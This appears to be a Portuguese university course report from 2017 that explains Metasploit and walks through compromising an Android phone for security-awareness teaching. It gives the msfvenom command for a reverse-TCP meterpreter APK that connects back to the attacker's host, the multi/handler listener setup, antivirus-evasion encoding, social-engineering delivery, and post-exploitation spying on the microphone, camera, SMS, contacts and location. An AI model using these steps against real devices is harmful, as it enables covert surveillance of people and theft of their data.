Universidade Nacional Autónoma da Nicarágua
UNAN-LEÓN
Carrera: Engenharia em sistemas de informação.
Componente: Introdução à segurança em redes
Hackeando Android com Metasploit
Dennis Espinoza
1
12 de julho de 2017.
Integrante
Br. Maria Narváez Argeñal.
Br. Luis Ángel Vallecillo Dávila
À liberdade pela Universidade!
Metasploit é um projeto de código aberto de segurança da informação que fornece informações
acerca de vulnerabilidades de segurança e é muito útil durante os testes de penetração ou
pentesting. O projeto mais conhecido é o Metasploit Framework, uma ferramenta para
desenvolver e executar exploits (fragmento de software, fragmento de dados ou sequência de
comandos e/ou ações utilizadas com o objetivo de aproveitar uma vulnerabilidade de segurança de
um sistema de informação) contra uma máquina remota. Outras das funcionalidades deste
ferramenta são: banco de dados de payload, ferramentas para coletar informações e
escanear em busca de vulnerabilidades.
Os passos básicos a seguir para explorar vulnerabilidades usando Metasploit são:
Escolher e configurar o exploit (como dissemos, código que permite explorar a
vulnerabilidade de um sistema.
Confirmar se o alvo é suscetível ao exploit escolhido (este passo é opcional).
Escolher e configurar a carga (código que é executado uma vez que exploramos a
vulnerabilidade).
Escolher a técnica de encode ou codificação para que o payload não seja detectado
pelos elementos de segurança do equipamento (também é opcional embora
recomendável).
Executar o exploit.
Para a realização dessas e outras ações, o Metasploit incorpora os seguintes
ferramentas
msfconsole: linha de comandos do Metasploit.
msfcli: interface que permite lançar um módulo concreto através da sua configuração
na mesma execução do aplicativo.
msfgui: interface gráfica do Metasploit.
msfd:serviço que fica esperando receber conexões para oferecer uma linha
de comandos em remoto.
msfbinscan: permite realizar buscas em executáveis de instruções de salto,
instruções POP
msfpescan: permite realizar uma análise sobre DLLs e obter o endereço de
retorno desejada para que a shellcode seja executada.
msfpayload: permite gerar payloads em diferentes linguagens de programação,
poder embeber-los em executáveis do Windows ou binários do UNIX.
msfencode: permite ofuscar o código do payload para evitar sua detecção.
msfvenom: é a união do msfpayload e do msfencode.
msfupdate: é utilizado para atualizar o framework.
Além dessas ferramentas, o metasploit é composto por diferentes módulos. Estes
módulos são:
Módulo auxiliar: permite a interação de ferramentas externas, como podem
ser scanners de vulnerabilidades, sniffers.
Módulo codificadores: nos proporciona os diferentes algoritmos para codificar e
ofuscar os payloads.
Módulo exploits: aqui se encontram todos os exploits disponíveis no
estrutura.
Módulo payloads: multidão de códigos que se executam uma vez que tenha sucesso o
explorar.
Módulo post: funcionalidades para a fase de pós-explotação durante um
pentesting.
Módulo nops: permite realizar u obtener operações nop.
Explorando vulnerabilidade Android.
Como é de conhecimento público, o sistema operacional Android cobre aproximadamente
85% do mercado, superando a Apple e Windows Phone. Por isso é tão importante
mostrar alguns dos ataques que podem ser realizados para tomar consciência de
segurança dos dispositivos e das informações que um usuário expõe em suas
dispositivos.
Com um par de simples linhas de comandos e um pouco de engenharia social podemos
acessar um dispositivo Android.
PRECISAMOS:
1.1 Máquina Virtual com KALI (vamos usar o Metasploit)
2.1 Máquina Virtual com Android ou 1 Dispositivo android
Criamos o arquivo malicioso, para isso usamos o MSFVENOM a partir de uma
terminal
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP_KALI
LPORT=Puerto_KALI R > /Escritorio/[Link]
-msfvenom é a união do msfpayload e do msfencode, o msfpayload se encarrega de
gerar payloads para diferentes plataformas, enquanto o msfencode se encarrega
de codificar esses payloads com o objetivo de evadir a detecção através do
uso de antivírus.
- Mediante a bandeira-pespecificaremos que se fará uso de um Payload com o qual
atacaremos nosso telefone alvo, no nosso caso:meterpreter.
-Payloades uma função que possui certa ameaça em particular. Refira-se a
ações adicionais, incluídas em vírus, worms e trojans. Um payload não é
não necessariamente maligno, mas também se refere a efeitos colaterais
nocivos para o computador
- O seguinte neste comando foi selecionar o Stager (é responsável por
baixar um payload (a etapa), injetando-o na memória, e passando a
execução a ela.) a utilizar, neste caso usamosreverse_tcp, o qual nos
permitirá reservar uma zona na memória e realizar uma conexão. Nesta zona é
onde se guarda o Payload que geraremos.
- LHOSTyLPORTsão basicamente o IP e a porta onde receberemos os dados
enviados remotamente pelo telefone atacado. O Porto pode ser à escolha
própria, neste caso foi escolhido o Porto 443 de maneira aleatória.
- Finalmente através da bandeiraR > <lugar onde guardaremos o
apk>/<nome apk>.apk,especificaremos onde ficará alojado nosso
apk e o nome deste.
(Opcional)
msfvenom: Indicar que utilizaremos Metasploit para o ataque.
-p: Indica ao msfvenom que utilizaremos um payload.
android/meterpreter/reverse_tcp: Utilizaremos meterpreter por meio de uma
conexão reversa, isso quer dizer que é o dispositivo vícima que abrirá com
nós uma sessão em Meterpreter.
lhost: Indica o host do "vírus", neste caso indicamos nosso IP privado, aquele que
nos dá o Roteador para nos identificarmos dentro do host.
lport: É a porta que utilizaremos para o ataque, tente não usar portas
normalmente usados como 80,4444, já que pode estar sendo utilizado.
No nosso caso ficará da seguinte maneira.
O próximo é deixar "ouvindo" desde KALI até que a vítima execute a
aplicação, para isso abrimos o METASPLOIT e o configuramos da seguinte forma
maneira
msfconsole
use exploit/multi/handler
definir payload android/meterpreter/reverse_tcp
defina LHOST IP_KALI
definir LPORT Puerto_KALI
explorar
Com isso temos uma sessão de Meterpreter conectada à nossa vítima, neste
caso se pode ver que o comando “sysinfo”
Com o comando HELP podemos ver quais ações podemos fazer no
dispositivo, muitas das ações já foram explicadas em POSTs anteriores,
mas as ações particulares do Android são:
Gravar com o Microfone
Tomar fotos com ambas as câmeras (Frontal e Traseira)
Fazer streaming a partir da câmera selecionada
Verificar se o dispositivo esROOTEADO
Obter a lista de chamadas
Obter a lista de Contatos
Obter os SMS
Obter a Localização do Dispositivo
Enviar SMS
Entre outras coisas...